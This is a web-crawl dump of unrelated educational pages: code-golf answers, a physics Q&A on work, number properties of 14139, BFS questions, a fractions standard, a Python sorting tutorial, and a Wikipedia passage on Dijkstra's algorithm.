NSExpression(format: // Create an expression with the following String and return it i.replacingOccurrences(of:\"k\",with:\"\\($0).0\")) // Create a string replacing all ocurrances of 'k' in i with the current Float from the map\n\n.expressionValue(with:nil,context:nil)as!Float // Get the resulting value of the expression\n\n}.reduce(0,+) // Add the result of all the expressions together\n)\n}\n\n\nThanks to @Mr. Xcoder for saving 15 bytes!\n\n# TI-Basic, 12 bytes\n\nΣ(expr(Ans),K,1,5\n\n\nCall with \"string\":prgmNAME, where string is any valid TI-Basic expression of K.\n\n• Interesting solution of the same length: Ans->u:sum(u(1,5 – lirtosiast Aug 25 '17 at 0:56\n\n# Stacked, 16 bytes\n\n5~>[@k#~]2/\"!sum\n\n\nTry it online!\n\n5~> is a range from 1 to 5 incluive. 2/ makes a func dyadic, \" is pair-wise, and ! is execute. This thus maps the range [1, 5] with the input, which is then evaluated after defining the range member to be k. Then, the results are summed.\n\n# dc, 31 24 bytes\n\n?sa1k[lax+Kd1+k5>p]dspxp\n\n\nThe input must be given in reverse-Polish notation (also known as postfix notation) and enclosed in square brackets ([]) with:\n\n• K replacing k as the parameter;\n• + representing addition;\n• - representing subtraction and _ followed by any number representing a negative number;\n• * representing multiplication;\n• / representing division;\n• ^ representing exponentiation;\n• v representing the square-root.\n\nFor example, -2*k+k+3*k**2+k**0.5-k/2 would be input as [_2K*K+K2^3*+Kv+K2/-]. This takes due advantage of the fact that K is a dc command which returns the current precision (initially set to 1). Therefore, by the end, this returns the output with a precision of 6.\n\nTry it online!\n\n# R, 35 bytes\n\nk=1:5;sum(eval(parse(t=scan(,\"\"))))\n\n\nTry it online!\n\nTIO link includes a function solution as well (38 bytes)\n\n# Tcl, 58 bytes\n\nproc S {f s\\ 0} {time {incr k\nset s [expr $s+$f]} 5\nset s}\n`\n\nTry it online!\n\nIf it only worked with integers, I could golf it more!"
]
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https://byjus.com/questions/can-work-done-by-a-body-be-negative-or-positive/ | [
"",
null,
"# Can work done by a body be negative or positive?\n\nWork is the product of the component of the force in the direction of the displacement and the magnitude of this displacement.\n\nMathematically,\n\n#### W = (F cos θ) d = F. d\n\n• W is the work done by the force.\n• F is the force, d is the displacement caused by the force\n• θ is the angle between the force vector and the displacement vector\n\n### Work done by a force applied on a body is:\n\n• When the direction of motion of the body and the force acting in the same direction, work done is positive.\n• When the direction of motion of the body and the force acting on the body is opposite, work done is negative.\n• When the force is acting at a right angle to the direction of motion of the body, work done is zero.",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.92789865,"math_prob":0.9634789,"size":698,"snap":"2021-43-2021-49","text_gpt3_token_len":162,"char_repetition_ratio":0.21902017,"word_repetition_ratio":0.13043478,"special_character_ratio":0.23352435,"punctuation_ratio":0.08219178,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9975934,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-25T00:56:03Z\",\"WARC-Record-ID\":\"<urn:uuid:294b4666-f0a0-49aa-9ec0-064bb00dbac9>\",\"Content-Length\":\"175652\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bcca4a40-388c-45d9-8a9b-73f650a4768d>\",\"WARC-Concurrent-To\":\"<urn:uuid:4fab32f4-ebb3-417d-a786-8bbb20f7d3ea>\",\"WARC-IP-Address\":\"162.159.130.41\",\"WARC-Target-URI\":\"https://byjus.com/questions/can-work-done-by-a-body-be-negative-or-positive/\",\"WARC-Payload-Digest\":\"sha1:BJ6QFQSGD7WRDJCD4Z6ZPY63JIWXMXLU\",\"WARC-Block-Digest\":\"sha1:GLFIRBVFSOR75PHTTF7LMZZRKZLYAKHT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323587608.86_warc_CC-MAIN-20211024235512-20211025025512-00332.warc.gz\"}"} |
https://metanumbers.com/14139 | [
"## 14139\n\n14,139 (fourteen thousand one hundred thirty-nine) is an odd five-digits composite number following 14138 and preceding 14140. In scientific notation, it is written as 1.4139 × 104. The sum of its digits is 18. It has a total of 3 prime factors and 6 positive divisors. There are 9,420 positive integers (up to 14139) that are relatively prime to 14139.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Odd\n• Number length 5\n• Sum of Digits 18\n• Digital Root 9\n\n## Name\n\nShort name 14 thousand 139 fourteen thousand one hundred thirty-nine\n\n## Notation\n\nScientific notation 1.4139 × 104 14.139 × 103\n\n## Prime Factorization of 14139\n\nPrime Factorization 32 × 1571\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 2 Total number of distinct prime factors Ω(n) 3 Total number of prime factors rad(n) 4713 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) 0 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 14,139 is 32 × 1571. Since it has a total of 3 prime factors, 14,139 is a composite number.\n\n## Divisors of 14139\n\n1, 3, 9, 1571, 4713, 14139\n\n6 divisors\n\n Even divisors 0 6 3 3\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 6 Total number of the positive divisors of n σ(n) 20436 Sum of all the positive divisors of n s(n) 6297 Sum of the proper positive divisors of n A(n) 3406 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 118.908 Returns the nth root of the product of n divisors H(n) 4.1512 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 14,139 can be divided by 6 positive divisors (out of which 0 are even, and 6 are odd). The sum of these divisors (counting 14,139) is 20,436, the average is 3,406.\n\n## Other Arithmetic Functions (n = 14139)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 9420 Total number of positive integers not greater than n that are coprime to n λ(n) 4710 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 1668 Total number of primes less than or equal to n r2(n) 0 The number of ways n can be represented as the sum of 2 squares\n\nThere are 9,420 positive integers (less than 14,139) that are coprime with 14,139. And there are approximately 1,668 prime numbers less than or equal to 14,139.\n\n## Divisibility of 14139\n\n m n mod m 2 3 4 5 6 7 8 9 1 0 3 4 3 6 3 0\n\nThe number 14,139 is divisible by 3 and 9.\n\n## Classification of 14139\n\n• Arithmetic\n• Deficient\n\n### Expressible via specific sums\n\n• Polite\n• Non-hypotenuse\n\n## Base conversion (14139)\n\nBase System Value\n2 Binary 11011100111011\n3 Ternary 201101200\n4 Quaternary 3130323\n5 Quinary 423024\n6 Senary 145243\n8 Octal 33473\n10 Decimal 14139\n12 Duodecimal 8223\n20 Vigesimal 1f6j\n36 Base36 awr\n\n## Basic calculations (n = 14139)\n\n### Multiplication\n\nn×i\n n×2 28278 42417 56556 70695\n\n### Division\n\nni\n n⁄2 7069.5 4713 3534.75 2827.8\n\n### Exponentiation\n\nni\n n2 199911321 2826546167619 39964536263965041 565058578236201714699\n\n### Nth Root\n\ni√n\n 2√n 118.908 24.1809 10.9045 6.76213\n\n## 14139 as geometric shapes\n\n### Circle\n\n Diameter 28278 88838 6.2804e+08\n\n### Sphere\n\n Volume 1.18398e+13 2.51216e+09 88838\n\n### Square\n\nLength = n\n Perimeter 56556 1.99911e+08 19995.6\n\n### Cube\n\nLength = n\n Surface area 1.19947e+09 2.82655e+12 24489.5\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 42417 8.65641e+07 12244.7\n\n### Triangular Pyramid\n\nLength = n\n Surface area 3.46257e+08 3.33112e+11 11544.4"
]
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https://ai.stackexchange.com/questions/tagged/breadth-first-search | [
"# Questions tagged [breadth-first-search]\n\nFor questions concerning the breadth-first search (BFS) algorithm, which is an algorithm for traversing or searching tree or graph data structures. BFS starts at the root of the tree (or graph), then explores all of the neighbor nodes at the present depth prior to moving on to the nodes at the next depth level.\n\n16 questions\nFilter by\nSorted by\nTagged with\n1 vote\n263 views\n\n### How do the BFS and DFS search algorithms choose between nodes with the \"same priority\"?\n\nI am currently taking an Artificial Intelligence course and learning about DFS and BFS. If we take the following example: From my understanding, the BFS algorithm will explore the first level ...\n• 113\n1 vote\n72 views\n\n### What would happen if we set the evaluation function in the best-first search algorithm as the cost of paths taken to new nodes?\n\nI am reading Artificial Intelligence: A Modern Approach. In Chapter 3, Section 3.3.1, The best-first search algorithm is introduced. We learn that in each iteration, this algorithm chooses which node ...\n• 21\n1 vote\n481 views\n\n### Is there any situation in which breadth-first search is preferable over A*?\n\nIs there any situation in which breadth-first search is preferable over A*?\n1 vote\n193 views\n\n### A way to leverage machine learning to reduce DFS/BFS search time on a tree graph?\n\nI'm not very knowledgeable in this field but I'm wondering if any research or information already exists for the following situation: I have some data that may or may not look similar to each other. ...\n198 views\n\n### Why do we use the tree-search version of breadth-first search or A*?\n\nIn Artificial Intelligence A Modern Approach, search algorithms are divided into tree-search version and graph-search version, where the graph-search version keeps an extra explored set to avoid ...\n• 21\n1 vote\n663 views\n\n### What is the space complexity of bidirectional search?\n\nIs the space complexity of the bidirectional search, where the breadth-first search is used for both the forward and backward search, $O(b^{d/2})$, where $b$ is the branching factor and $d$ the length ...",
null,
"1 vote\n3k views\n\n### What is the space complexity of breadth-first search?\n\nWhen using the breadth-first search algorithm, is the space complexity $O(b^d)$, where $b$ is the branching factor and $d$ the length of the optimal path (assuming that there is indeed one)?",
null,
"1 vote\n54 views\n\n### 2 Partition Problem\n\nI want to solve the two partition problem (https://en.wikipedia.org/wiki/Partition_problem) using an uninformed search algorithm (BFS or uniform cost). The states can be represented by three sets S1,...\n• 131\n3k views\n\n### Why does the adversarial search minimax algorithm use Depth-First Search (DFS) instead of Breadth-First Search (BFS)?\n\nI understand that the actual algorithm calls for using Depth-First Search, but is there a functionality reason for using it over another search algorithm like Breadth-First Search?\n1 vote\n210 views\n\n### How do I model the blocked N queens problem as a search problem?\n\nThe blocked N-queens is a variant of the N-queens problem. In the blocked N-queens problem, we also have a NxN chess board and N queens. Each square can hold at most one queen. Some squares on the ...\n• 11\n3k views\n\n### Why do we use a last-in-first-out queue in depth-first search?\n\nWhy do we use a last-in-first-out (LIFO) queue in the depth-first search algorithm? In the breadth-first search algorithm, we use a first-in-first-out (FIFO) queue, so I am confused.\n4k views\n\n### What is the difference between the breadth-first search and recursive best-first search?\n\nWhat is the difference between the breadth-first search and recursive best-first search? How can I describe the key difference between them?\n196 views\n\n### How do I train a bot to solve Katona style problems?\n\nCognitive psychology is researched since the 1940s. The idea was to understand human problem solving and the importance of heuristics in it. George Katona (an early psychologist) published in the ...\n6k views\n\n### How do I keep track of already visited states in breadth-first search?\n\nI was trying to implement the breadth-first search (BFS) algorithm for the sliding blocks puzzle (number type). Now, the main thing I noticed is that, if you have a $4 \\times 4$ board, the number of ...",
null,
"1 vote\n142 views\n\n### How can we find the number of node expansions performed by BFS in this hexagonal map?\n\nAn agent aims to find a path on a hexagonal map, with an initial state $s_0$ in the center and goal state $s^*$ at the bottom as depicted below. The map is parametrized by the distance $n \\geq 1$ ...\n• 111"
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"https://cdn.sstatic.net/Img/user.svg",
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https://www.engageny.org/ccls-math/4nf4b | [
" 4.NF.4.b | EngageNY\n\n## CCLS - Math: 4.NF.4.b\n\nCategory\nNumber And Operations—Fractions3\nSub-Category\nBuild Fractions From Unit Fractions By Applying And Extending Previous Understandings Of Operations On Whole Numbers.\nState Standard:\nUnderstand a multiple of a/b as a multiple of 1/b, and use this understanding to multiply a fraction by a whole number. For example, use a visual fraction model to express 3 × (2/5) as 6 × (1/5), recognizing this product as 6/5. (In general, n × (a/b) = (n × a)/b.)"
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https://www.tutorialspoint.com/sort-tuples-in-increasing-order-by-any-key-in-python-program | [
"# Sort Tuples in Increasing Order by any key in Python program\n\nIn this tutorial, we are going to sort a list of tuples in increasing order by nth index key. For example, we have a list of tuples [(2, 2), (1, 2), (3, 1)] then, we have to sort it using 0th index element. The output for that list would be [(1, 2), (2, 2), (3, 1)].\n\nWe can achieve this by using the sorted method. We have to pass a key while giving the list to the sorted function. Here, the key is the index on which the sorting is based.\n\nsorted takes a list and returns that list in ascending order of increasing order. If you want to get the list in descending order then, set the reverse keyword argument to True in the sorted function.\n\nLet's see the steps to solve our problem.\n\n## Algorithm\n\n1. Initialize list of tuples and key\n2. Define a function. 2.1. Return key-th index number.\n3. Pass list of tuples and function to the sorted function. We have to pass function name to\nthe keyword argument key. Every time one element (here tuple) to the function. The\nfunction returns key-th index number.\n4. Print the result.\n\n## Example\n\n## list of tuples\ntuples = [(2, 2), (1, 2), (3, 1)]\n## key\nkey = 0\n## function which returns the key-th index number from the tuple\ndef k_th_index(one_tuple):\nreturn one_tuple[key]\n## calling the sorted function\n## pass the list of tuples as first argument\n## give the function as a keyword argument to the **key**\nsorted(tuples, key = k_th_index)\n\n## Output\n\nIf you run the above program, you will get the following results.\n\n[(1, 2), (2, 2), (3, 1)]\n\nIf you initialize the key with an index which is greater the len(tuple) - 1 then, you will get the index error. Let's see.\n\n## Example\n\nLive Demo\n\n## list of tuples\ntuples = [(2, 2), (1, 2), (3, 1)]\n## key\n## initializing the key which is greter than len(tuple) - 1\nkey = 2\n## function which returns the key-th index number from the tuple\ndef k_th_index(one_tuple):\nreturn one_tuple[key]\n## calling the sorted function\n## pass the list of tuples as first argument\n## give the function as a keyword argument to the **key**\nsorted(tuples, key = k_th_index)\n\n## Output\n\nIf you run the above program, you will get the following results.\n\nIndexError Traceback (most recent call last)\n<ipython-input-13-4c3fa14880dd> in <module>\n13 ## pass the list of tuples as first argument\n14 ## give the function as a keyword argument to the **key**\n---> 15 sorted(tuples, key = k_th_index)\n<ipython-input-13-4c3fa14880dd> in k_th_index(one_tuple)\n8 ## function which returns the key-th index number from the tuple\n9 def k_th_index(one_tuple):\n---> 10 return one_tuple[key]\n11\n12 ## calling the sorted function\nIndexError: tuple index out of range\n\nThe above program will work for any number of tuples and any size of tuples until unless the index doesn't greater than len(tuple) - 1.\n\n## Conclusion\n\nI hope you enjoyed the tutorial. If you have any queries regarding the tutorial, please do mention them in the comment section."
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https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm | [
"# Dijkstra's algorithm\n\nClass",
null,
"Dijkstra's algorithm to find the shortest path between a and b. It picks the unvisited vertex with the low distance, calculates the distance through it to each unvisited neighbor, and updates the neighbor's distance if smaller. Mark visited (set to red) when done with neighbors. Search algorithm Graph $O(|E|+|V|\\log |V|)$",
null,
"Dijkstra's algorithm (or Dijkstra's Shortest Path First algorithm, SPF algorithm) is an algorithm for finding the shortest paths between nodes in a graph, which may represent, for example, road networks. It was conceived by computer scientist Edsger W. Dijkstra in 1956 and published three years later.\n\nThe algorithm exists in many variants. Dijkstra's original algorithm found the shortest path between two given nodes, but a more common variant fixes a single node as the \"source\" node and finds shortest paths from the source to all other nodes in the graph, producing a shortest-path tree.\n\nFor a given source node in the graph, the algorithm finds the shortest path between that node and every other.:196–206 It can also be used for finding the shortest paths from a single node to a single destination node by stopping the algorithm once the shortest path to the destination node has been determined. For example, if the nodes of the graph represent cities and edge path costs represent driving distances between pairs of cities connected by a direct road (for simplicity, ignore red lights, stop signs, toll roads and other obstructions), Dijkstra's algorithm can be used to find the shortest route between one city and all other cities. A widely used application of shortest path algorithm is network routing protocols, most notably IS-IS (Intermediate System to Intermediate System) and Open Shortest Path First (OSPF). It is also employed as a subroutine in other algorithms such as Johnson's.\n\nThe Dijkstra algorithm uses labels that are positive integers or real numbers, which are totally ordered. It can be generalized to use any labels that are partially ordered, provided the subsequent labels (a subsequent label is produced when traversing an edge) are monotonically non-decreasing. This generalization is called the generic Dijkstra shortest-path algorithm.\n\nDijkstra's algorithm uses a data structure for storing and querying partial solutions sorted by distance from the start. The original algorithm uses a min-priority queue and runs in time $O(|V|^{2})$",
null,
"(where $|V|$",
null,
"is the number of nodes). The idea of this algorithm is also given in Leyzorek et al. 1957. Fredman & Tarjan 1984 propose using a Fibonacci heap min-priority queue to optimize the running time complexity to $O(|E|+|V|\\log |V|)$",
null,
"(where $|E|$",
null,
"is the number of edges). This is asymptotically the fastest known single-source shortest-path algorithm for arbitrary directed graphs with unbounded non-negative weights. However, specialized cases (such as bounded/integer weights, directed acyclic graphs etc.) can indeed be improved further as detailed in Specialized variants.\n\nIn some fields, artificial intelligence in particular, Dijkstra's algorithm or a variant of it is known as uniform cost search and formulated as an instance of the more general idea of best-first search.\n\n## History\n\nWhat is the shortest way to travel from Rotterdam to Groningen, in general: from given city to given city. It is the algorithm for the shortest path, which I designed in about twenty minutes. One morning I was shopping in Amsterdam with my young fiancée, and tired, we sat down on the café terrace to drink a cup of coffee and I was just thinking about whether I could do this, and I then designed the algorithm for the shortest path. As I said, it was a twenty-minute invention. In fact, it was published in ’59, three years later. The publication is still readable, it is, in fact, quite nice. One of the reasons that it is so nice was that I designed it without pencil and paper. I learned later that one of the advantages of designing without pencil and paper is that you are almost forced to avoid all avoidable complexities. Eventually that algorithm became, to my great amazement, one of the cornerstones of my fame.\n\n— Edsger Dijkstra, in an interview with Philip L. Frana, Communications of the ACM, 2001\n\nDijkstra thought about the shortest path problem when working at the Mathematical Center in Amsterdam in 1956 as a programmer to demonstrate the capabilities of a new computer called ARMAC. His objective was to choose both a problem and a solution (that would be produced by computer) that non-computing people could understand. He designed the shortest path algorithm and later implemented it for ARMAC for a slightly simplified transportation map of 64 cities in the Netherlands (64, so that 6 bits would be sufficient to encode the city number). A year later, he came across another problem from hardware engineers working on the institute's next computer: minimize the amount of wire needed to connect the pins on the back panel of the machine. As a solution, he re-discovered the algorithm known as Prim's minimal spanning tree algorithm (known earlier to Jarník, and also rediscovered by Prim). Dijkstra published the algorithm in 1959, two years after Prim and 29 years after Jarník.\n\n## Algorithm",
null,
"Illustration of Dijkstra's algorithm finding a path from a start node (lower left, red) to a goal node (upper right, green) in a robot motion planning problem. Open nodes represent the \"tentative\" set (aka set of \"unvisited\" nodes). Filled nodes are visited ones, with color representing the distance: the greener, the closer. Nodes in all the different directions are explored uniformly, appearing more-or-less as a circular wavefront as Dijkstra's algorithm uses a heuristic identically equal to 0.\n\nLet the node at which we are starting be called the initial node. Let the distance of node Y be the distance from the initial node to Y. Dijkstra's algorithm will assign some initial distance values and will try to improve them step by step.\n\n1. Mark all nodes unvisited. Create a set of all the unvisited nodes called the unvisited set.\n2. Assign to every node a tentative distance value: set it to zero for our initial node and to infinity for all other nodes. Set the initial node as current.\n3. For the current node, consider all of its unvisited neighbours and calculate their tentative distances through the current node. Compare the newly calculated tentative distance to the current assigned value and assign the smaller one. For example, if the current node A is marked with a distance of 6, and the edge connecting it with a neighbour B has length 2, then the distance to B through A will be 6 + 2 = 8. If B was previously marked with a distance greater than 8 then change it to 8. Otherwise, the current value will be kept.\n4. When we are done considering all of the unvisited neighbours of the current node, mark the current node as visited and remove it from the unvisited set. A visited node will never be checked again.\n5. If the destination node has been marked visited (when planning a route between two specific nodes) or if the smallest tentative distance among the nodes in the unvisited set is infinity (when planning a complete traversal; occurs when there is no connection between the initial node and remaining unvisited nodes), then stop. The algorithm has finished.\n6. Otherwise, select the unvisited node that is marked with the smallest tentative distance, set it as the new \"current node\", and go back to step 3.\n\nWhen planning a route, it is actually not necessary to wait until the destination node is \"visited\" as above: the algorithm can stop once the destination node has the smallest tentative distance among all \"unvisited\" nodes (and thus could be selected as the next \"current\").\n\n## Description\n\nSuppose you would like to find the shortest path between two intersections on a city map: a starting point and a destination. Dijkstra's algorithm initially marks the distance (from the starting point) to every other intersection on the map with infinity. This is done not to imply that there is an infinite distance, but to note that those intersections have not been visited yet. Some variants of this method leave the intersections' distances unlabeled. Now select the current intersection at each iteration. For the first iteration, the current intersection will be the starting point, and the distance to it (the intersection's label) will be zero. For subsequent iterations (after the first), the current intersection will be a closest unvisited intersection to the starting point (this will be easy to find).\n\nFrom the current intersection, update the distance to every unvisited intersection that is directly connected to it. This is done by determining the sum of the distance between an unvisited intersection and the value of the current intersection and then relabeling the unvisited intersection with this value (the sum) if it is less than the unvisited intersection's current value. In effect, the intersection is relabeled if the path to it through the current intersection is shorter than the previously known paths. To facilitate shortest path identification, in pencil, mark the road with an arrow pointing to the relabeled intersection if you label/relabel it, and erase all others pointing to it. After you have updated the distances to each neighboring intersection, mark the current intersection as visited and select an unvisited intersection with minimal distance (from the starting point) – or the lowest label—as the current intersection. Intersections marked as visited are labeled with the shortest path from the starting point to it and will not be revisited or returned to.\n\nContinue this process of updating the neighboring intersections with the shortest distances, marking the current intersection as visited, and moving onto a closest unvisited intersection until you have marked the destination as visited. Once you have marked the destination as visited (as is the case with any visited intersection), you have determined the shortest path to it from the starting point and can trace your way back following the arrows in reverse. In the algorithm's implementations, this is usually done (after the algorithm has reached the destination node) by following the nodes' parents from the destination node up to the starting node; that's why we also keep track of each node's parent.\n\nThis algorithm makes no attempt of direct \"exploration\" towards the destination as one might expect. Rather, the sole consideration in determining the next \"current\" intersection is its distance from the starting point. This algorithm therefore expands outward from the starting point, interactively considering every node that is closer in terms of shortest path distance until it reaches the destination. When understood in this way, it is clear how the algorithm necessarily finds the shortest path. However, it may also reveal one of the algorithm's weaknesses: its relative slowness in some topologies.\n\n## Pseudocode\n\nIn the following algorithm, the code u ← vertex in Q with min dist[u], searches for the vertex u in the vertex set Q that has the least dist[u] value. length(u, v) returns the length of the edge joining (i.e. the distance between) the two neighbor-nodes u and v. The variable alt on line 18 is the length of the path from the root node to the neighbor node v if it were to go through u. If this path is shorter than the current shortest path recorded for v, that current path is replaced with this alt path. The prev array is populated with a pointer to the \"next-hop\" node on the source graph to get the shortest route to the source.",
null,
"A demo of Dijkstra's algorithm based on Euclidean distance. Red lines are the shortest path covering, i.e., connecting u and prev[u]. Blue lines indicate where relaxing happens, i.e., connecting v with a node u in Q, which gives a shorter path from the source to v.\n 1 function Dijkstra(Graph, source):\n2\n3 create vertex set Q\n4\n5 for each vertex v in Graph:\n6 dist[v] ← INFINITY\n7 prev[v] ← UNDEFINED\n10 dist[source] ← 0\n11\n12 while Q is not empty:\n13 u ← vertex in Q with min dist[u]\n14\n15 remove u from Q\n16\n17 for each neighbor v of u: // only v that are still in Q\n18 alt ← dist[u] + length(u, v)\n19 if alt < dist[v]:\n20 dist[v] ← alt\n21 prev[v] ← u\n22\n23 return dist[], prev[]\n\n\nIf we are only interested in a shortest path between vertices source and target, we can terminate the search after line 15 if u = target. Now we can read the shortest path from source to target by reverse iteration:\n\n1 S ← empty sequence\n2 u ← target\n3 if prev[u] is defined or u = source: // Do something only if the vertex is reachable\n4 while u is defined: // Construct the shortest path with a stack S\n5 insert u at the beginning of S // Push the vertex onto the stack\n6 u ← prev[u] // Traverse from target to source\n\n\nNow sequence S is the list of vertices constituting one of the shortest paths from source to target, or the empty sequence if no path exists.\n\nA more general problem would be to find all the shortest paths between source and target (there might be several different ones of the same length). Then instead of storing only a single node in each entry of prev[] we would store all nodes satisfying the relaxation condition. For example, if both r and source connect to target and both of them lie on different shortest paths through target (because the edge cost is the same in both cases), then we would add both r and source to prev[target]. When the algorithm completes, prev[] data structure will actually describe a graph that is a subset of the original graph with some edges removed. Its key property will be that if the algorithm was run with some starting node, then every path from that node to any other node in the new graph will be the shortest path between those nodes in the original graph, and all paths of that length from the original graph will be present in the new graph. Then to actually find all these shortest paths between two given nodes we would use a path finding algorithm on the new graph, such as depth-first search.\n\n### Using a priority queue\n\nA min-priority queue is an abstract data type that provides 3 basic operations : add_with_priority(), decrease_priority() and extract_min(). As mentioned earlier, using such a data structure can lead to faster computing times than using a basic queue. Notably, Fibonacci heap (Fredman & Tarjan 1984) or Brodal queue offer optimal implementations for those 3 operations. As the algorithm is slightly different, we mention it here, in pseudo-code as well :\n\n1 function Dijkstra(Graph, source):\n2 dist[source] ← 0 // Initialization\n3\n4 create vertex priority queue Q\n5\n6 for each vertex v in Graph:\n7 if v ≠ source\n8 dist[v] ← INFINITY // Unknown distance from source to v\n9 prev[v] ← UNDEFINED // Predecessor of v\n10\n12\n13\n14 while Q is not empty: // The main loop\n15 u ← Q.extract_min() // Remove and return best vertex\n16 for each neighbor v of u: // only v that are still in Q\n17 alt ← dist[u] + length(u, v)\n18 if alt < dist[v]\n19 dist[v] ← alt\n20 prev[v] ← u\n21 Q.decrease_priority(v, alt)\n22\n23 return dist, prev\n\n\nInstead of filling the priority queue with all nodes in the initialization phase, it is also possible to initialize it to contain only source; then, inside the if alt < dist[v] block, the node must be inserted if not already in the queue (instead of performing a decrease_priority operation).:198\n\nOther data structures can be used to achieve even faster computing times in practice.\n\n## Proof of correctness\n\nProof of Dijkstra's algorithm is constructed by induction on the number of visited nodes.\n\nInvariant hypothesis: For each visited node v, dist[v] is considered the shortest distance from source to v; and for each unvisited node u, dist[u] is assumed the shortest distance when traveling via visited nodes only, from source to u. This assumption is only considered if a path exists, otherwise the distance is set to infinity. (Note : we do not assume dist[u] is the actual shortest distance for unvisited nodes)\n\nThe base case is when there is just one visited node, namely the initial node source, in which case the hypothesis is trivial.\n\nOtherwise, assume the hypothesis for n-1 visited nodes. In which case, we choose an edge vu where u has the least dist[u] of any unvisited nodes and the edge vu is such that dist[u] = dist[v] + length[v,u]. dist[u] is considered to be the shortest distance from source to u because if there were a shorter path, and if w was the first unvisited node on that path then by the original hypothesis dist[w] > dist[u] which creates a contradiction. Similarly if there was a shorter path to u without using unvisited nodes, and if the last but one node on that path were w, then we would have had dist[u] = dist[w] + length[w,u], also a contradiction.\n\nAfter processing u it will still be true that for each unvisited nodes w, dist[w] will be the shortest distance from source to w using visited nodes only, because if there were a shorter path that doesn't go by u we would have found it previously, and if there were a shorter path using u we would have updated it when processing u.\n\n## Running time\n\nBounds of the running time of Dijkstra's algorithm on a graph with edges E and vertices V can be expressed as a function of the number of edges, denoted $|E|$",
null,
", and the number of vertices, denoted $|V|$",
null,
", using big-O notation. The complexity bound depends mainly on the data structure used to represent the set Q. In the following, upper bounds can be simplified because $|E|$",
null,
"is $O(|V|^{2})$",
null,
"for any graph, but that simplification disregards the fact that in some problems, other upper bounds on $|E|$",
null,
"may hold.\n\nFor any data structure for the vertex set Q, the running time is in\n\n$O(|E|\\cdot T_{\\mathrm {dk} }+|V|\\cdot T_{\\mathrm {em} }),$",
null,
"where $T_{\\mathrm {dk} }$",
null,
"and $T_{\\mathrm {em} }$",
null,
"are the complexities of the decrease-key and extract-minimum operations in Q, respectively. The simplest version of Dijkstra's algorithm stores the vertex set Q as an ordinary linked list or array, and extract-minimum is simply a linear search through all vertices in Q. In this case, the running time is $O(|E|+|V|^{2})=O(|V|^{2})$",
null,
".\n\nIf the graph is stored as an adjacency list, the running time for a dense graph (i.e., where $|E|\\in O(|V|^{2})$",
null,
") is\n\n$\\Theta ((|V|^{2})\\log |V|)$",
null,
".\n\nFor sparse graphs, that is, graphs with far fewer than $|V|^{2}$",
null,
"edges, Dijkstra's algorithm can be implemented more efficiently by storing the graph in the form of adjacency lists and using a self-balancing binary search tree, binary heap, pairing heap, or Fibonacci heap as a priority queue to implement extracting minimum efficiently. To perform decrease-key steps in a binary heap efficiently, it is necessary to use an auxiliary data structure that maps each vertex to its position in the heap, and to keep this structure up to date as the priority queue Q changes. With a self-balancing binary search tree or binary heap, the algorithm requires\n\n$\\Theta ((|E|+|V|)\\log |V|)$",
null,
"time in the worst case (where $\\log$",
null,
"denotes the binary logarithm $\\log _{2}$",
null,
"); for connected graphs this time bound can be simplified to $\\Theta (|E|\\log |V|)$",
null,
". The Fibonacci heap improves this to\n\n$O(|E|+|V|\\log |V|).$",
null,
"When using binary heaps, the average case time complexity is lower than the worst-case: assuming edge costs are drawn independently from a common probability distribution, the expected number of decrease-key operations is bounded by $O(|V|\\log(|E|/|V|))$",
null,
", giving a total running time of:199–200\n\n$O\\left(|E|+|V|\\log {\\frac {|E|}{|V|}}\\log |V|\\right).$",
null,
"### Practical optimizations and infinite graphs\n\nIn common presentations of Dijkstra's algorithm, initially all nodes are entered into the priority queue. This is, however, not necessary: the algorithm can start with a priority queue that contains only one item, and insert new items as they are discovered (instead of doing a decrease-key, check whether the key is in the queue; if it is, decrease its key, otherwise insert it).:198 This variant has the same worst-case bounds as the common variant, but maintains a smaller priority queue in practice, speeding up the queue operations.\n\nMoreover, not inserting all nodes in a graph makes it possible to extend the algorithm to find the shortest path from a single source to the closest of a set of target nodes on infinite graphs or those too large to represent in memory. The resulting algorithm is called uniform-cost search (UCS) in the artificial intelligence literature and can be expressed in pseudocode as\n\nprocedure uniform_cost_search(Graph, start, goal)\nnode ← start\ncost ← 0\nfrontier ← priority queue containing node only\nexplored ← empty set\ndo\nif frontier is empty\nreturn failure\nnode ← frontier.pop()\nif node is goal\nreturn solution\nfor each of node's neighbors n\nif n is not in explored\n\n\nThe complexity of this algorithm can be expressed in an alternative way for very large graphs: when C* is the length of the shortest path from the start node to any node satisfying the \"goal\" predicate, each edge has cost at least ε, and the number of neighbors per node is bounded by b, then the algorithm's worst-case time and space complexity are both in O(b1+⌊C* ε).\n\nFurther optimizations of Dijkstra's algorithm for the single-target case include bidirectional variants, goal-directed variants such as the A* algorithm (see § Related problems and algorithms), graph pruning to determine which nodes are likely to form the middle segment of shortest paths (reach-based routing), and hierarchical decompositions of the input graph that reduce st routing to connecting s and t to their respective \"transit nodes\" followed by shortest-path computation between these transit nodes using a \"highway\". Combinations of such techniques may be needed for optimal practical performance on specific problems.\n\n### Specialized variants\n\nWhen arc weights are small integers (bounded by a parameter C), a monotone priority queue can be used to speed up Dijkstra's algorithm. The first algorithm of this type was Dial's algorithm, which used a bucket queue to obtain a running time 